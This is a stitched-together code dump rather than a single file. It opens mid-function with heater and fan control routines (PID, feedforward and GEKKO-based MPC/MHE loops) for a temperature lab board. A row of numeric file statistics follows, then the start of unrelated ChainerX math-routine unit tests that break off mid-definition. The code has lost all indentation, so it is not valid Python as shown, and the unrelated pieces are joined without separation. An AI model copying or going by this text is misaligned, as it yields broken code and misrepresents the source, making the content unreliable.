error = temp_sp - current_temp
dmv = kc * (error - old_error + dt / ti * error)
mv += dmv
mv = np.clip(mv, 0, 100)
mini_heater_board.Q1(mv)
heater_pwms.append(mini_heater_board.U1)
if mini_dpin1.value:
fan_pwms.append(mini_dpin1.value)
else:
fan_pwms.append(0)
if ind % 300 == 0 and file_path:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_sp * np.ones(len(times)),
'amb_temp': amb_temp * np.ones(len(times)),
'fan_pwm': fan_pwms,
'heater_pwm': heater_pwms})
df.to_csv(file_path)
ind += 1
# if len(temps) % 10 == 0:
# print("Current T = {0} °C".format(current_temp))
if file_path:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_sp * np.ones(len(times)),
'amb_temp': amb_temp * np.ones(len(times)),
'fan_pwm': fan_pwms,
'heater_pwm': heater_pwms})
df.to_csv(file_path)
mini_heater_board.Q1(0)
mini_dpin1.write(0)
print("Ending PID test")
print("Current T = {0} °C".format(current_temp))
print("Current heater PWM = {0}".format(mini_heater_board.U1))
print("Current fan PWM = {0}".format(mini_dpin1.value))
return times, temps, heater_pwms, fan_pwms
def ratio_ff_pid_test(mini_dpin1,
mini_heater_board,
temp_lb,
amb_temp,
dist_df,
dt,
kc=20,
ti=70,
ff_ratio=0.004,
file_path=None):
temp_sp = temp_lb * 1.034
print("Setting temperature to {0} °C".format(temp_sp))
start_time = time.time()
prev_time = start_time
sleep_max = dt
error = 0
mv = 0
steps_per_second = int(1 / sleep_max)
times, temps, heater_pwms, fan_pwms = [], [], [], []
current_temp = 0
ind = 0
d_time = dist_df.time.values
d_traj = dist_df.fan_pwm.values
t = time.time()
time_elapsed = t - start_time
while time_elapsed < np.max(d_time):
# Sleep time
sleep = sleep_max - (time.time() - prev_time)
if sleep >= 0.01:
time.sleep(sleep - 0.01)
else:
time.sleep(0.01)
# Record time and change in time
t = time.time()
dt = t - prev_time
prev_time = t
time_elapsed = t - start_time
times.append(time_elapsed)
filtered_df = dist_df[(dist_df['time'] < time_elapsed)]
if len(filtered_df) == 0:
current_dist = 0
else:
current_dist = dist_df[(dist_df['time'] < time_elapsed)][
'fan_pwm'].values[-1]
mini_dpin1.write(current_dist)
current_temp = mini_heater_board.T1
temps.append(current_temp)
old_error = error
error = temp_sp - current_temp
ffAction = 100 * ff_ratio * (current_dist * 100 - 20)
dmv = kc * (error - old_error + dt / ti * error)
mv += dmv
mv = np.clip(mv, 0, 100)
pid_ff_action = np.clip(mv + ffAction, 0, 100)
mini_heater_board.Q1(pid_ff_action)
heater_pwms.append(mini_heater_board.U1)
if mini_dpin1.value:
fan_pwms.append(mini_dpin1.value)
else:
fan_pwms.append(0)
if ind % 300 == 0 and file_path:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_sp * np.ones(len(times)),
'amb_temp': amb_temp * np.ones(len(times)),
'fan_pwm': fan_pwms,
'heater_pwm': heater_pwms})
df.to_csv(file_path)
ind += 1
# if len(temps) % 10 == 0:
# print("Current T = {0} °C".format(current_temp))
if file_path:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_sp * np.ones(len(times)),
'amb_temp': amb_temp * np.ones(len(times)),
'fan_pwm': fan_pwms,
'heater_pwm': heater_pwms})
df.to_csv(file_path)
mini_heater_board.Q1(0)
mini_dpin1.write(0)
print("Ending PID test")
print("Current T = {0} °C".format(current_temp))
print("Current heater PWM = {0}".format(mini_heater_board.U1))
print("Current fan PWM = {0}".format(mini_dpin1.value))
return times, temps, heater_pwms, fan_pwms
def forecast_mpc_test(mini_dpin1,
mini_heater_board,
temp_lb,
d_traj,
forecast,
amb_temp,
init_temp,
scale_factor,
file_path=None,
dt=1,
look_back=31,
look_forward=51,
c1=0.00088341,
c2=0.801088,
c3=0.00388592,
c4=0.09,
):
max_change = 0.8
min_change = 0.02
decay_rate = 0.25
fv_update_rate = 5 # s
rel_max_change = 0.1
penalty_scale = 1e5
steepness = 10
init_cs = [c1, c2, c3, c4]
d_traj_extend = np.concatenate([d_traj, d_traj])
mpc = GEKKO(name='tclab-mpc', remote=False, server='http://127.0.0.1')
mhe = GEKKO(name='tclab-mhe', remote=False, server='http://127.0.0.1')
mpc.time = np.linspace(0, (look_forward - 1) * dt, look_forward)
mhe.time = np.linspace(0, (look_back - 1) * dt, look_back)
apm_models = [mhe, mpc]
for ind, apm_model in enumerate(apm_models):
apm_model.c1 = apm_model.FV(value=c1)
apm_model.c2 = apm_model.FV(value=c2)
apm_model.c3 = apm_model.FV(value=c3)
apm_model.c4 = apm_model.FV(value=c4)
cs = [apm_model.c1, apm_model.c2, apm_model.c3, apm_model.c4]
apm_model.fan_pwm = apm_model.FV(value=20)
apm_model.fan_pwm.STATUS = 0
apm_model.fan_pwm.FSTATUS = 1
apm_model.heater_pwm = apm_model.MV(value=0)
apm_model.temp_heater = apm_model.SV(value=init_temp)
if ind == 0:
apm_model.fan_pwm = apm_model.MV(value=20)
apm_model.fan_pwm.STATUS = 0
apm_model.fan_pwm.FSTATUS = 1
for ind1, c in enumerate(cs):
c.STATUS = 0
c.FSTATUS = 0
c.LOWER = 0
c.DMAX = rel_max_change * init_cs[ind1]
apm_model.heater_pwm.STATUS = 0
apm_model.heater_pwm.FSTATUS = 1
apm_model.temp_sensor = apm_model.CV(value=init_temp,
name='mhe_tc1')
apm_model.temp_sensor.STATUS = 1
apm_model.temp_sensor.FSTATUS = 1.
apm_model.temp_sensor.MEAS_GAP = 0.1
else:
apm_model.fan_pwm = apm_model.FV(value=20)
apm_model.fan_pwm.STATUS = 0
apm_model.fan_pwm.FSTATUS = 1
for c in cs:
c.STATUS = 0
c.FSTATUS = 1
p = np.zeros(len(apm_model.time))
p[-1] = 1.0
apm_model.final = apm_model.Param(value=p)
apm_model.heater_pwm.STATUS = 1
apm_model.heater_pwm.FSTATUS = 0.
apm_model.heater_pwm.DMAX = 20
# apm_model.heater_pwm.DCOST = 0.5
apm_model.heater_pwm.LOWER = 0
apm_model.heater_pwm.UPPER = 100
apm_model.temp_sensor = apm_model.SV(value=init_temp,
name='mpc_tc1')
apm_model.temp_sensor.FSTATUS = 1.
apm_model.h = apm_model.Intermediate(apm_model.c1
* apm_model.fan_pwm
** (apm_model.c2 - 1))
apm_model.Equation(apm_model.temp_heater.dt()
== -apm_model.h * apm_model.temp_heater
+ apm_model.c3 * apm_model.heater_pwm
+ apm_model.c2 * apm_model.h * (
amb_temp - apm_model.temp_heater)
* apm_model.fan_pwm)
apm_model.Equation(
(apm_model.temp_sensor.dt() == apm_model.c4
* apm_model.temp_heater - apm_model.c4 * apm_model.temp_sensor))
if ind == 0:
apm_model.options.IMODE = 5
apm_model.EV_TYPE = 1
else:
apm_model.Obj(
apm_model.integral(
apm_model.heater_pwm + penalty_scale * apm_model.log(
1 + apm_model.exp(steepness
* (temp_lb
- apm_model.temp_sensor)))
/ steepness) * apm_model.final)
apm_model.options.IMODE = 6
apm_model.options.NODES = 2
apm_model.options.SOLVER = 3
apm_model.options.COLDSTART = 1
apm_model.options.AUTO_COLD = 1
print("Starting Forecast MPC scale{0} with T_lb = {1} °C".format(
scale_factor,
temp_lb))
mini_dpin1.write(0)
mini_heater_board.Q1(0)
start_time = time.time()
prev_time = start_time
sleep_max = dt
steps_per_second = int(1 / sleep_max)
times, temps, heater_pwms, fan_pwms = [], [], [], []
est_temps = []
c1s, c2s, c3s, c4s = [], [], [], []
current_temp = 0
update_counter = 0
ind = 0
mhe.temp_sensor.VALUE = mini_heater_board.T1
mpc.temp_sensor.VALUE = mini_heater_board.T1
for ind1, dist in enumerate(d_traj):
# Sleep time
sleep = sleep_max - (time.time() - prev_time)
if sleep >= 0.01:
time.sleep(sleep - 0.01)
else:
time.sleep(0.01)
# Record time and change in time
t = time.time()
dt = t - prev_time
prev_time = t
times.append(t - start_time)
mini_dpin1.write(dist / 100)
current_temp = mini_heater_board.T1
current_dist = mini_dpin1.value
mhe_cs = [mhe.c1, mhe.c3]
if (ind1 % fv_update_rate == 0
and ind1 > look_back):
for ind2, mhe_c in enumerate(mhe_cs):
mhe_c.STATUS = 1
# mhe_c.STATUS = 0
update_counter += 1
mhe_c.DMAX = max_change * np.exp(
-decay_rate * update_counter) + min_change
else:
for ind2, mhe_c in enumerate(mhe_cs):
mhe_c.STATUS = 0
mhe.heater_pwm.MEAS = mini_heater_board.U1
mhe.fan_pwm.MEAS = current_dist * 100
mhe.temp_sensor.MEAS = current_temp
try:
mhe.solve(disp=False)
oops = False
except Exception:
oops = True
pass
est_temps.append(mhe.temp_sensor.MODEL)
if oops:
if ind1 != 0:
c1s.append(c1s[-1])
c2s.append(c2s[-1])
c3s.append(c3s[-1])
c4s.append(c4s[-1])
else:
c1s.append(init_cs[0])
c2s.append(init_cs[1])
c3s.append(init_cs[2])
c4s.append(init_cs[3])
else:
c1s.append(mhe.c1.NEWVAL)
c2s.append(mhe.c2.NEWVAL)
c3s.append(mhe.c3.NEWVAL)
c4s.append(mhe.c4.NEWVAL)
mpc.temp_sensor.MEAS = current_temp
prediction = np.concatenate([[current_dist * 100],
scale_factor
* forecast[ind1 + 1:ind1 + look_forward]])
mpc.fan_pwm.VALUE = np.clip(prediction, 0, 100)
mpc.c1.MEAS = c1s[-1]
mpc.c2.MEAS = c2s[-1]
mpc.c3.MEAS = c3s[-1]
mpc.c4.MEAS = c4s[-1]
try:
mpc.solve(disp=False)
if mpc.options.APPSTATUS == 1:
# Retrieve new values
action = mpc.heater_pwm.NEWVAL / 100
# print(heater_pwm.VALUE)
else:
action = 1
except Exception as e:
action = 1
mini_heater_board.Q1(action * 100)
temps.append(current_temp)
heater_pwms.append(mini_heater_board.U1)
fan_pwms.append(current_dist)
if file_path:
if ind1 % 10 == 0:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_lb * np.ones(len(times)),
'est_temp': est_temps,
'heater_pwm': heater_pwms,
'fan_pwm': fan_pwms,
'c1': c1s,
'c2': c2s,
'c3': c3s,
'c4': c4s,
'forecast': np.clip(scale_factor *
forecast[:len(times)],
0, 100)})
df.to_csv(file_path)
elif ind1 == len(d_traj) - 1:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_lb * np.ones(len(times)),
'est_temp': est_temps,
'heater_pwm': heater_pwms,
'fan_pwm': fan_pwms,
'c1': c1s,
'c2': c2s,
'c3': c3s,
'c4': c4s,
'forecast': (scale_factor *
forecast[:len(times)])})
df.to_csv(file_path)
mini_dpin1.write(0)
mini_heater_board.Q1(0)
print("Ending Perfect MPC test")
print("Current T = {0} °C".format(current_temp))
print("Current heater PWM = {0}".format(mini_heater_board.U1))
print("Current fan PWM = {0}".format(mini_dpin1.value))
return times, temps, heater_pwms, fan_pwms, c1s, c2s, c3s, c4s
def general_mhe_mpc_test(mini_dpin1,
mini_heater_board,
temp_lb,
d_traj,
amb_temp,
init_temp,
penalty_scale,
dmax,
dcost,
forecast,
forecast_scale_factor=1,
use_mhe=True,
file_path=None,
dt=1,
look_back=31,
look_forward=51,
c1=0.00088341,
c2=0.801088,
c3=0.00388592,
c4=0.09,
):
max_change = 0.8
min_change = 0.02
decay_rate = 0.25
fv_update_rate = 5 # s
rel_max_change = 0.1
steepness = 10
init_cs = [c1, c2, c3, c4]
d_traj_extend = np.concatenate([d_traj, d_traj])
mpc = GEKKO(name='tclab-mpc', remote=False, server='http://127.0.0.1')
mpc.time = np.linspace(0, (look_forward - 1) * dt, look_forward)
if use_mhe:
mhe = GEKKO(name='tclab-mhe', remote=False, server='http://127.0.0.1')
mhe.time = np.linspace(0, (look_back - 1) * dt, look_back)
apm_models = [mpc, mhe]
else:
apm_models = [mpc]
for ind, apm_model in enumerate(apm_models):
apm_model.c1 = apm_model.FV(value=c1)
apm_model.c2 = apm_model.FV(value=c2)
apm_model.c3 = apm_model.FV(value=c3)
apm_model.c4 = apm_model.FV(value=c4)
cs = [apm_model.c1, apm_model.c2, apm_model.c3, apm_model.c4]
apm_model.fan_pwm = apm_model.FV(value=20)
apm_model.fan_pwm.STATUS = 0
apm_model.fan_pwm.FSTATUS = 1
apm_model.heater_pwm = apm_model.MV(value=0)
apm_model.temp_heater = apm_model.SV(value=init_temp)
if ind == 1:
apm_model.fan_pwm = apm_model.MV(value=20)
apm_model.fan_pwm.STATUS = 0
apm_model.fan_pwm.FSTATUS = 1
for ind1, c in enumerate(cs):
c.STATUS = 0
c.FSTATUS = 0
c.LOWER = 0
c.DMAX = rel_max_change * init_cs[ind1]
apm_model.heater_pwm.STATUS = 0
apm_model.heater_pwm.FSTATUS = 1
apm_model.temp_sensor = apm_model.CV(value=init_temp,
name='mhe_tc1')
apm_model.temp_sensor.STATUS = 1
apm_model.temp_sensor.FSTATUS = 1.
apm_model.temp_sensor.MEAS_GAP = 0.1
else:
apm_model.fan_pwm = apm_model.FV(value=20)
apm_model.fan_pwm.STATUS = 0
apm_model.fan_pwm.FSTATUS = 1
for c in cs:
c.STATUS = 0
c.FSTATUS = 1
p = np.zeros(len(apm_model.time))
p[-1] = 1.0
apm_model.final = apm_model.Param(value=p)
apm_model.heater_pwm.STATUS = 1
apm_model.heater_pwm.FSTATUS = 0.
apm_model.heater_pwm.DMAX = dmax
apm_model.heater_pwm.DCOST = dcost
apm_model.heater_pwm.LOWER = 0
apm_model.heater_pwm.UPPER = 100
apm_model.temp_sensor = apm_model.SV(value=init_temp,
name='mpc_tc1')
apm_model.temp_sensor.FSTATUS = 1.
apm_model.h = apm_model.Intermediate(apm_model.c1
* apm_model.fan_pwm
** (apm_model.c2 - 1))
apm_model.Equation(apm_model.temp_heater.dt()
== -apm_model.h * apm_model.temp_heater
+ apm_model.c3 * apm_model.heater_pwm
+ apm_model.c2 * apm_model.h * (
amb_temp - apm_model.temp_heater)
* apm_model.fan_pwm)
apm_model.Equation(
(apm_model.temp_sensor.dt() == apm_model.c4
* apm_model.temp_heater - apm_model.c4 * apm_model.temp_sensor))
if ind == 1:
apm_model.options.IMODE = 5
apm_model.EV_TYPE = 1
else:
apm_model.Obj(
apm_model.integral(
(apm_model.heater_pwm/10)**2 + penalty_scale * apm_model.log(
1 + apm_model.exp(steepness
* (temp_lb
- apm_model.temp_sensor)))
/ steepness) * apm_model.final)
apm_model.options.IMODE = 6
apm_model.options.NODES = 2
apm_model.options.SOLVER = 3
apm_model.options.COLDSTART = 1
apm_model.options.AUTO_COLD = 1
print("Starting Forecast MPC scale{0} with T_lb = {1} °C".format(
forecast_scale_factor,
temp_lb))
mini_dpin1.write(0)
mini_heater_board.Q1(0)
start_time = time.time()
prev_time = start_time
sleep_max = dt
steps_per_second = int(1 / sleep_max)
times, temps, heater_pwms, fan_pwms = [], [], [], []
est_temps = []
c1s, c2s, c3s, c4s = [], [], [], []
current_temp = 0
update_counter = 0
ind = 0
for ind1, dist in enumerate(d_traj):
# Sleep time
sleep = sleep_max - (time.time() - prev_time)
if sleep >= 0.01:
time.sleep(sleep - 0.01)
else:
time.sleep(0.01)
# Record time and change in time
t = time.time()
dt = t - prev_time
prev_time = t
times.append(t - start_time)
mini_dpin1.write(dist / 100)
current_temp = mini_heater_board.T1
current_dist = mini_dpin1.value
if use_mhe:
mhe_cs = [mhe.c1, mhe.c3]
if (ind1 % fv_update_rate == 0
and ind1 > look_back):
for ind2, mhe_c in enumerate(mhe_cs):
mhe_c.STATUS = 1
# mhe_c.STATUS = 0
update_counter += 1
mhe_c.DMAX = max_change * np.exp(
-decay_rate * update_counter) + min_change
else:
for ind2, mhe_c in enumerate(mhe_cs):
mhe_c.STATUS = 0
mhe.heater_pwm.MEAS = mini_heater_board.U1
mhe.fan_pwm.MEAS = current_dist * 100
mhe.temp_sensor.MEAS = current_temp
try:
mhe.solve(disp=False)
oops = False
except Exception:
oops = True
pass
est_temps.append(mhe.temp_sensor.MODEL)
if oops:
if ind1 != 0:
c1s.append(c1s[-1])
c2s.append(c2s[-1])
c3s.append(c3s[-1])
c4s.append(c4s[-1])
else:
c1s.append(init_cs[0])
c2s.append(init_cs[1])
c3s.append(init_cs[2])
c4s.append(init_cs[3])
else:
c1s.append(mhe.c1.NEWVAL)
c2s.append(mhe.c2.NEWVAL)
c3s.append(mhe.c3.NEWVAL)
c4s.append(mhe.c4.NEWVAL)
else:
est_temps.append(current_temp)
c1s.append(init_cs[0])
c2s.append(init_cs[1])
c3s.append(init_cs[2])
c4s.append(init_cs[3])
mpc.temp_sensor.MEAS = current_temp
if forecast == 'nominal':
prediction = np.ones(len(mpc.time)) * current_dist * 100
elif forecast == 'perfect':
prediction = d_traj_extend[ind1:ind1 + look_forward]
else:
prediction = np.concatenate([[current_dist * 100],
forecast_scale_factor
* forecast[
ind1 + 1:ind1 + look_forward]])
mpc.fan_pwm.VALUE = np.clip(prediction, 0, 100)
# mpc.c1.MEAS = c1s[-1]
# mpc.c2.MEAS = c2s[-1]
# mpc.c3.MEAS = c3s[-1]
# mpc.c4.MEAS = c4s[-1]
try:
mpc.solve(disp=True)
if mpc.options.APPSTATUS == 1:
# Retrieve new values
action = mpc.heater_pwm.NEWVAL / 100
# print(heater_pwm.VALUE)
else:
action = 1
except Exception as e:
action = 1
mini_heater_board.Q1(action * 100)
temps.append(current_temp)
heater_pwms.append(mini_heater_board.U1)
fan_pwms.append(current_dist)
if forecast == 'nominal':
report_forecast = fan_pwms
elif forecast == 'perfect':
report_forecast = fan_pwms
else:
report_forecast = np.clip(forecast_scale_factor *
forecast[:len(times)],
0, 100)
if file_path:
if ind1 % 10 == 0:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_lb * np.ones(len(times)),
'est_temp': est_temps,
'heater_pwm': heater_pwms,
'fan_pwm': fan_pwms,
'c1': c1s,
'c2': c2s,
'c3': c3s,
'c4': c4s,
'forecast': report_forecast})
df.to_csv(file_path)
elif ind1 == len(d_traj) - 1:
df = pd.DataFrame({'time': times,
'temp': temps,
'temp_lb': temp_lb * np.ones(len(times)),
'est_temp': est_temps,
'heater_pwm': heater_pwms,
'fan_pwm': fan_pwms,
'c1': c1s,
'c2': c2s,
'c3': c3s,
'c4': c4s,
'forecast': report_forecast})
df.to_csv(file_path)
mini_dpin1.write(0)
mini_heater_board.Q1(0)
print("Ending Forecast MPC test")
print("Current T = {0} °C".format(current_temp))
print("Current heater PWM = {0}".format(mini_heater_board.U1))
print("Current fan PWM = {0}".format(mini_dpin1.value))
return times, temps, heater_pwms, fan_pwms, c1s, c2s, c3s, c4s
| 36.844343 | 81 | 0.492642 | 6,882 | 56,335 | 3.791776 | 0.038797 | 0.100556 | 0.044261 | 0.028665 | 0.941253 | 0.933627 | 0.922667 | 0.91209 | 0.90937 | 0.90937 | 0 | 0.045506 | 0.405521 | 56,335 | 1,528 | 82 | 36.868456 | 0.732965 | 0.023041 | 0 | 0.928886 | 0 | 0 | 0.043398 | 0.001964 | 0 | 0 | 0 | 0 | 0 | 1 | 0.008798 | false | 0.002933 | 0.004399 | 0 | 0.021994 | 0.039589 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
499214a8e15507b08f8d69bf16f38355e5e360b4 | 85,574 | py | Python | tests/chainerx_tests/unit_tests/routines_tests/test_math.py | seiyab/chainer | 39fffb9597a6e9646307fba27ad3233c65d38632 | [
"MIT"
] | null | null | null | tests/chainerx_tests/unit_tests/routines_tests/test_math.py | seiyab/chainer | 39fffb9597a6e9646307fba27ad3233c65d38632 | [
"MIT"
] | null | null | null | tests/chainerx_tests/unit_tests/routines_tests/test_math.py | seiyab/chainer | 39fffb9597a6e9646307fba27ad3233c65d38632 | [
"MIT"
] | null | null | null | import unittest
import chainer
import numpy
import pytest
import chainerx
import chainerx.testing
from chainerx_tests import array_utils
from chainerx_tests import dtype_utils
from chainerx_tests import op_utils
class IgnoreNumpyFloatingPointError(object):
def __enter__(self):
self.old_settings = numpy.seterr(all='ignore')
def __exit__(self, *args):
numpy.seterr(**self.old_settings)
class UnaryMathTestBase(object):
input = None
def setup(self):
in_dtype, = self.in_dtypes
in_kind = numpy.dtype(in_dtype).kind
if numpy.dtype(in_dtype).kind != 'f':
self.skip_backward_test = True
self.skip_double_backward_test = True
if in_dtype == 'float16':
self.check_forward_options.update({'rtol': 1e-3, 'atol': 1e-3})
self.check_backward_options.update({'rtol': 3e-3, 'atol': 3e-3})
self.check_double_backward_options.update(
{'rtol': 1e-2, 'atol': 1e-2})
input = self.input
if (in_kind == 'u'
and isinstance(input, (int, float))
and input < 0):
raise unittest.SkipTest(
'Combination of uint dtype and negative input cannot be '
'tested')
def generate_inputs(self):
in_dtype, = self.in_dtypes
if isinstance(self.input, numpy.ndarray):
return self.input.astype(in_dtype),
if self.input == 'random':
return array_utils.uniform(self.shape, in_dtype),
if isinstance(self.input, (bool, int, float)):
return numpy.full(self.shape, self.input, dtype=in_dtype),
assert False
def forward_xp(self, inputs, xp):
a, = inputs
# This cast was introduced in order to avoid decreasing precision.
# ex.) numpy.sqrt(x) becomes a float16 array where x is an int8 array.
a = dtype_utils.cast_if_numpy_array(xp, a, self.out_dtype)
with IgnoreNumpyFloatingPointError():
y = self.func(xp, a)
y = dtype_utils.cast_if_numpy_array(xp, y, self.out_dtype)
return y,
class BinaryMathTestBase(object):
def setup(self):
in_dtype1, in_dtype2 = self.in_dtypes
kind1 = numpy.dtype(in_dtype1).kind
kind2 = numpy.dtype(in_dtype2).kind
if kind1 != 'f' or kind2 != 'f':
self.skip_backward_test = True
self.skip_double_backward_test = True
if in_dtype1 == 'float16' or in_dtype2 == 'float16':
self.check_forward_options.update({'rtol': 1e-3, 'atol': 1e-3})
self.check_backward_options.update({'rtol': 1e-3, 'atol': 1e-3})
self.check_double_backward_options.update(
{'rtol': 1e-3, 'atol': 1e-3})
def generate_inputs(self):
in_dtype1, in_dtype2 = self.in_dtypes
in_shape1, in_shape2 = self.in_shapes
if self.input_lhs == 'random':
a = array_utils.uniform(in_shape1, in_dtype1)
elif isinstance(self.input_lhs, (bool, int, float)):
a = numpy.full(in_shape1, self.input_lhs, dtype=in_dtype1)
else:
assert False
if self.input_rhs == 'random':
b = array_utils.uniform(in_shape2, in_dtype2)
elif isinstance(self.input_rhs, (bool, int, float)):
b = numpy.full(in_shape2, self.input_rhs, dtype=in_dtype2)
else:
assert False
return a, b
def forward_xp(self, inputs, xp):
a, b = inputs
# This cast was introduced in order to avoid decreasing precision.
# ex.) x / y becomes a float16 array where x and y are an int8 arrays.
a = dtype_utils.cast_if_numpy_array(xp, a, self.out_dtype)
b = dtype_utils.cast_if_numpy_array(xp, b, self.out_dtype)
with IgnoreNumpyFloatingPointError():
y = self.func(xp, a, b)
y = dtype_utils.cast_if_numpy_array(xp, y, self.out_dtype)
return y,
class InplaceUnaryMathTestBase(UnaryMathTestBase):
skip_backward_test = True
skip_double_backward_test = True
def forward_xp(self, inputs, xp):
a, = inputs
if xp is chainerx:
a_ = a.as_grad_stopped().copy()
else:
a_ = a.copy()
with IgnoreNumpyFloatingPointError():
ret = self.func(xp, a_)
assert ret is None # func should not return anything
return a_,
class InplaceBinaryMathTestBase(BinaryMathTestBase):
skip_backward_test = True
skip_double_backward_test = True
def forward_xp(self, inputs, xp):
a, b = inputs
b = dtype_utils.cast_if_numpy_array(xp, b, a.dtype)
if xp is chainerx:
a_ = a.as_grad_stopped().copy()
b_ = b.as_grad_stopped()
else:
a_ = a.copy()
b_ = b
with IgnoreNumpyFloatingPointError():
ret = self.func(xp, a_, b_)
assert ret is None # func should not return anything
return a_,
def _convert_numpy_scalar(scalar, dtype):
# Implicit casting in NumPy's multiply depends on the 'casting' argument,
# which is not yet supported (ChainerX always casts).
# Therefore, we explicitly cast the scalar to the dtype of the ndarray
# before the multiplication for NumPy.
return numpy.dtype(dtype).type(scalar)
class MathScalarTestBase(UnaryMathTestBase):
def func(self, xp, a):
scalar = self.scalar_type(self.scalar_value)
return self.func_scalar(xp, a, scalar)
class InplaceMathScalarTestBase(InplaceUnaryMathTestBase):
def func(self, xp, a):
scalar = self.scalar_type(self.scalar_value)
if xp is numpy:
# This cast is to avoid TypeError in the following case
# a: uint8 0-dim numpy.ndarray
# scalar: int
in_dtype, = self.in_dtypes
scalar = _convert_numpy_scalar(scalar, in_dtype)
return self.func_scalar(xp, a, scalar)
def _make_same_in_out_dtypes(number_of_in_params, dtypes):
return [((dtype,) * number_of_in_params, dtype) for dtype in dtypes]
_in_out_dtypes_arithmetic_invalid = [
(('bool_', 'bool_'), 'bool_'),
(('bool_', 'int8'), 'int8'),
(('bool_', 'int16'), 'int16'),
(('bool_', 'int32'), 'int32'),
(('bool_', 'int64'), 'int64'),
(('bool_', 'uint8'), 'uint8'),
(('bool_', 'float16'), 'float16'),
(('bool_', 'float32'), 'float32'),
(('bool_', 'float64'), 'float64'),
(('int8', 'bool_'), 'int8'),
(('int16', 'bool_'), 'int16'),
(('int32', 'bool_'), 'int32'),
(('int64', 'bool_'), 'int64'),
(('uint8', 'bool_'), 'uint8'),
(('float16', 'bool_'), 'float16'),
(('float32', 'bool_'), 'float32'),
(('float64', 'bool_'), 'float64'),
]
_in_out_dtypes_arithmetic = [
dtypes for dtypes in dtype_utils.result_dtypes_two_arrays
if dtypes not in _in_out_dtypes_arithmetic_invalid
]
_in_out_dtypes_inplace_arithmetic_invalid = [
((t1, t2), t3) for (t1, t2), t3 in _in_out_dtypes_arithmetic
if (numpy.dtype(t1).kind != 'f' and numpy.dtype(t2).kind == 'f')
] + _in_out_dtypes_arithmetic_invalid
_in_out_dtypes_inplace_arithmetic = [
dtypes for dtypes in dtype_utils.result_dtypes_two_arrays
if dtypes not in _in_out_dtypes_inplace_arithmetic_invalid
]
_in_out_dtypes_array_int_scalar = [
# Int scalar.
(('int8',), int, 'int8'),
(('int16',), int, 'int16'),
(('int32',), int, 'int32'),
(('int64',), int, 'int64'),
(('uint8',), int, 'uint8'),
(('float16',), int, 'float16'),
(('float32',), int, 'float32'),
(('float64',), int, 'float64'),
(('int16',), numpy.int16, 'int16'),
(('uint8',), numpy.int8, 'uint8'),
(('float64',), numpy.int8, 'float64'),
(('float16',), numpy.int64, 'float16'),
]
_in_out_dtypes_int_array_float_scalar = [
# Int arrays and float scalars.
(('int8',), float, 'float32'),
(('int16',), float, 'float32'),
(('int32',), float, 'float32'),
(('int64',), float, 'float32'),
(('uint8',), float, 'float32'),
(('int8',), numpy.float32, 'float32'),
(('int64',), numpy.float16, 'float32'),
(('uint8',), numpy.float64, 'float32'),
]
_in_out_dtypes_float_array_float_scalar = [
# Float arrays and flaot scalars.
(('float16',), float, 'float16'),
(('float32',), float, 'float32'),
(('float64',), float, 'float64'),
(('float64',), float, 'float64'),
(('float16',), numpy.float64, 'float16'),
(('float64',), numpy.float16, 'float64'),
]
_in_out_dtypes_arithmetic_scalar = (
_in_out_dtypes_array_int_scalar
+ _in_out_dtypes_int_array_float_scalar
+ _in_out_dtypes_float_array_float_scalar)
_in_out_dtypes_inplace_arithmetic_scalar = (
_in_out_dtypes_array_int_scalar
+ _in_out_dtypes_float_array_float_scalar)
_in_out_dtypes_float_arithmetic_scalar = (
_in_out_dtypes_int_array_float_scalar
+ _in_out_dtypes_float_array_float_scalar)
_in_out_dtypes_inplace_float_arithmetic_scalar = (
_in_out_dtypes_float_array_float_scalar)
def _permutate_shapes(shapes_list):
# Permutates input shapes
permutated_shapes_list = []
for in_shape1, in_shape2 in shapes_list:
permutated_shapes_list.append((in_shape1, in_shape2))
permutated_shapes_list.append((in_shape2, in_shape1))
return list(set(permutated_shapes_list))
_shapes_combination_inplace_binary = [
# Same shapes
((1,), (1,)),
((3, 4), (3, 4)),
# Broadcast
((10,), (1,)),
((3, 4), (3, 1)),
((3, 4), (1, 4)),
((3, 4), (4,)),
((3, 4), (1, 1)),
((3, 4), (1,)),
((2, 3, 4), (1, 1, 1)),
# 0-dim shape
((), ()),
((1,), ()),
((3,), ()),
((2, 3), ()),
# 0-size shape
((0,), (0,)),
((0,), (1,)),
((0,), ()),
((2, 0, 3), (2, 0, 3)),
# TODO(imanishi): Fix strides
# ((2, 0, 3), (0, 1)),
]
_shapes_combination_binary = _permutate_shapes([
# Broadcast
((3, 1), (1, 4)),
((2, 1, 4), (3, 1)),
# 0-size shape
# TODO(imanishi): Fix strides
# ((0, 1), (0, 1, 0)),
]) + _permutate_shapes(_shapes_combination_inplace_binary)
@op_utils.op_test(['native:0', 'cuda:0'])
@chainer.testing.parameterize(*(
# Special shapes
chainer.testing.product({
'shape': [(), (0,), (1,), (2, 0, 3), (1, 1, 1), (2, 3)],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(1, chainerx.testing.numeric_dtypes)),
'input': ['random'],
'is_module': [False],
})
# is_module
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(1, chainerx.testing.numeric_dtypes)),
'input': ['random'],
'is_module': [True, False],
})
# Special values
+ chainer.testing.product({
'shape': [(2, 3)],
'in_dtypes,out_dtype': (
_make_same_in_out_dtypes(1, chainerx.testing.float_dtypes)),
'input': [float('inf'), -float('inf'), float('nan')],
'is_module': [False],
'skip_backward_test': [True],
'skip_double_backward_test': [True],
})
))
class TestNegative(UnaryMathTestBase, op_utils.NumpyOpTest):
def func(self, xp, a):
if self.is_module:
return xp.negative(a)
else:
return -a
@chainerx.testing.numpy_chainerx_array_equal(
accept_error=(chainerx.DtypeError, TypeError))
@pytest.mark.parametrize_device(['native:0', 'cuda:0'])
def test_negative_invalid_bool(xp, device, is_module):
